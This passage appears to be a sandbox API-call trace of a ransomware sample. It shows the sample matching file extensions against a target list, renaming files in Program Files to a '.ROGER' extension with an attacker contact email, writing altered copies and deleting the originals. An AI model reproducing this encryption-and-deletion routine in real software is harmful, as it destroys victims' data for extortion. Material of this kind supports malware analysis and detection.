lstrlenW (lpString=".bz2") returned 4 [0051.191] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.191] lstrlenW (lpString=".7z") returned 3 [0051.191] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.191] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.191] lstrlenW (lpString=".dbf") returned 4 [0051.191] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.191] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.191] lstrlenW (lpString=".1cd") returned 4 [0051.191] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.191] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.191] lstrlenW (lpString=".jpg") returned 4 [0051.191] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.191] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.191] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0051.191] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.192] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=5088) returned 1 [0051.192] CloseHandle (hObject=0x390) returned 1 [0051.192] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0051.192] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.192] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.192] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.192] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.192] lstrlenW (lpString=".doc") returned 4 [0051.193] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.193] lstrlenW (lpString=".docx") returned 5 [0051.193] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.193] lstrlenW (lpString=".pdf") returned 4 [0051.193] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.193] lstrlenW (lpString=".xls") returned 4 [0051.193] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.193] lstrlenW (lpString=".xlsx") returned 5 [0051.193] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.193] lstrlenW (lpString=".ppt") returned 4 [0051.193] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.193] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.193] lstrlenW (lpString=".zip") returned 4 [0051.193] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.193] lstrlenW (lpString=".rar") returned 4 [0051.193] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.193] lstrlenW (lpString=".bz2") returned 4 [0051.193] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.193] lstrlenW (lpString=".7z") returned 3 [0051.193] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.193] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.193] lstrlenW (lpString=".dbf") returned 4 [0051.193] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.193] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.193] lstrlenW (lpString=".1cd") returned 4 [0051.193] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.193] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.193] lstrlenW (lpString=".jpg") returned 4 [0051.193] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.193] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.193] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.194] lstrlenW (lpString=".doc") returned 4 [0051.194] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.194] lstrlenW (lpString=".docx") returned 5 [0051.194] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.194] lstrlenW (lpString=".pdf") returned 4 [0051.194] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.194] lstrlenW (lpString=".xls") returned 4 [0051.194] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.194] lstrlenW (lpString=".xlsx") returned 5 [0051.194] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.194] lstrlenW (lpString=".ppt") returned 4 [0051.194] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.194] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.194] lstrlenW (lpString=".zip") returned 4 [0051.194] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.194] lstrlenW (lpString=".rar") returned 4 [0051.194] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.194] lstrlenW (lpString=".bz2") returned 4 [0051.194] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.194] lstrlenW (lpString=".7z") returned 3 [0051.194] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.194] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.194] lstrlenW (lpString=".dbf") returned 4 [0051.194] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.194] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.194] lstrlenW (lpString=".1cd") returned 4 [0051.194] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.194] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0051.194] lstrlenW (lpString=".jpg") returned 4 [0051.194] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.195] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.195] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0051.195] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.195] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=3130) returned 1 [0051.195] CloseHandle (hObject=0x390) returned 1 [0051.195] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0051.196] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.196] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.196] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.196] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.196] lstrlenW (lpString=".doc") returned 4 [0051.196] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.196] lstrlenW (lpString=".docx") returned 5 [0051.196] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.196] lstrlenW (lpString=".pdf") returned 4 [0051.196] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.196] lstrlenW (lpString=".xls") returned 4 [0051.196] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.196] lstrlenW (lpString=".xlsx") returned 5 [0051.196] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.196] lstrlenW (lpString=".ppt") returned 4 [0051.196] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.196] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.196] lstrlenW (lpString=".zip") returned 4 [0051.196] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.196] lstrlenW (lpString=".rar") returned 4 [0051.196] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.196] lstrlenW (lpString=".bz2") returned 4 [0051.196] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.196] lstrlenW (lpString=".7z") returned 3 [0051.196] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.196] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.196] lstrlenW (lpString=".dbf") returned 4 [0051.196] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.197] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.197] lstrlenW (lpString=".1cd") returned 4 [0051.197] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.197] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.197] lstrlenW (lpString=".jpg") returned 4 [0051.197] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.197] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.197] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.197] lstrlenW (lpString=".doc") returned 4 [0051.197] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.197] lstrlenW (lpString=".docx") returned 5 [0051.197] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.197] lstrlenW (lpString=".pdf") returned 4 [0051.197] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.197] lstrlenW (lpString=".xls") returned 4 [0051.197] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.197] lstrlenW (lpString=".xlsx") returned 5 [0051.197] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.197] lstrlenW (lpString=".ppt") returned 4 [0051.197] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.197] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.197] lstrlenW (lpString=".zip") returned 4 [0051.197] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.197] lstrlenW (lpString=".rar") returned 4 [0051.197] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.197] lstrlenW (lpString=".bz2") returned 4 [0051.197] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.197] lstrlenW (lpString=".7z") returned 3 [0051.197] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.197] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.198] lstrlenW (lpString=".dbf") returned 4 [0051.198] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.198] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.198] lstrlenW (lpString=".1cd") returned 4 [0051.198] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.198] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned 87 [0051.198] lstrlenW (lpString=".jpg") returned 4 [0051.198] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.198] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.198] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0051.198] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.199] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=5025) returned 1 [0051.199] CloseHandle (hObject=0x390) returned 1 [0051.199] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0051.199] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.199] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.199] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0051.199] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0051.199] lstrlenW (lpString=".doc") returned 4 [0051.199] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.199] lstrlenW (lpString=".docx") returned 5 [0051.199] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.199] lstrlenW (lpString=".pdf") returned 4 [0051.199] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.199] lstrlenW (lpString=".xls") returned 4 [0051.199] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.199] lstrlenW (lpString=".xlsx") returned 5 [0051.200] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.200] lstrlenW (lpString=".ppt") returned 4 [0051.200] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.200] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0051.200] lstrlenW (lpString=".zip") returned 4 [0051.200] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.200] lstrlenW (lpString=".rar") returned 4 [0051.200] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.200] lstrlenW (lpString=".bz2") returned 4 [0051.200] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.200] lstrlenW (lpString=".7z") returned 3 [0051.200] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.200] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned 82 [0051.200] lstrlenW (lpString=".dbf") returned 4 [0051.200] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.001] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0052.002] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0052.002] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0052.005] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0052.005] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0052.005] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0052.006] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0052.007] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0052.008] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0052.008] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0052.032] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.032] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.033] GetLastError () returned 0x0 [0052.033] ReadFile (in: hFile=0x358, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x4360, lpOverlapped=0x0) returned 1 [0052.291] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x4370, lpOverlapped=0x0) returned 1 [0052.292] ReadFile (in: hFile=0x358, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.292] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe4, lpOverlapped=0x0) returned 1 [0052.292] SetEndOfFile (hFile=0x36c) returned 1 [0052.645] CloseHandle (hObject=0x36c) returned 1 [0052.655] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.655] SetEndOfFile (hFile=0x358) returned 1 [0052.665] CloseHandle (hObject=0x358) returned 1 [0052.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0052.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0052.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.869] lstrlenW (lpString=".doc") returned 4 [0052.869] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0052.869] lstrlenW (lpString=".docx") returned 5 [0052.869] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0052.869] lstrlenW (lpString=".pdf") returned 4 [0052.869] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0052.869] lstrlenW (lpString=".xls") returned 4 [0052.870] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0052.870] lstrlenW (lpString=".xlsx") returned 5 [0052.870] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0052.870] lstrlenW (lpString=".ppt") returned 4 [0052.870] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0052.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.870] lstrlenW (lpString=".zip") returned 4 [0052.870] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0052.870] lstrlenW (lpString=".rar") returned 4 [0052.870] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0052.870] lstrlenW (lpString=".bz2") returned 4 [0052.870] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0052.870] lstrlenW (lpString=".7z") returned 3 [0052.870] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0052.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0052.870] lstrlenW (lpString=".dbf") returned 4 [0052.870] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 